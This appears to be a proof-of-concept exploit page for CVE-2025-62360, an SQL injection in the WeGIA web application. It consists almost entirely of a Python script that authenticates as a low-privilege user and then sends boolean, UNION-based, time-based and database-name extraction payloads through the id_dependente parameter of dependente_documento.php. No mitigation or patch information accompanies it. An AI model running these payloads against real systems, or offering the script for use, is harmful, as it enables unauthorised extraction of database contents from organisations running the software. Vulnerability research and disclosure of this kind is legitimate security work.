CVE-2025-62360：WeGIA SQL注入漏洞

# CVE-2025-62360 - WeGIA SQL Injection PoC # Target: /html/funcionario/dependente_documento.php # Vulnerable Parameter: id_dependente # Requires: Low-privilege authenticated access import requests TARGET_URL = "http://target-wegia-server" LOGIN_URL = f"{TARGET_URL}/login.php" VULN_ENDPOINT = f"{TARGET_URL}/html/funcionario/dependente_documento.php" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain a valid session session = requests.Session() login_data = { "usuario": USERNAME, "senha": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: Exploit SQL Injection via id_dependente parameter # Example 1: Boolean-based blind injection (verify vulnerability) payload_boolean = "1' OR '1'='1" params = {"id_dependente": payload_boolean} response = session.get(VULN_ENDPOINT, params=params) print(f"[+] Boolean-based test - Status: {response.status_code}, Length: {len(response.text)}") # Example 2: UNION-based injection to extract database version payload_union = ( "1' UNION SELECT 1,2,3,4,version(),6,7,8,9,10-- -" ) params = {"id_dependente": payload_union} response = session.get(VULN_ENDPOINT, params=params) print(f"[+] UNION-based extraction:\n{response.text}") # Example 3: Time-based blind injection to confirm import time payload_time = "1' AND SLEEP(5)-- -" start = time.time() response = session.get(VULN_ENDPOINT, params={"id_dependente": payload_time}) elapsed = time.time() - start print(f"[+] Time-based blind test - Elapsed: {elapsed:.2f}s (expect ~5s if vulnerable)") # Example 4: Extract database name using error-based or UNION injection payload_dbname = "1' UNION SELECT database(),2,3,4,5,6,7,8,9,10-- -" response = session.get(VULN_ENDPOINT, params={"id_dependente": payload_dbname}) print(f"[+] Database name extraction:\n{response.text}")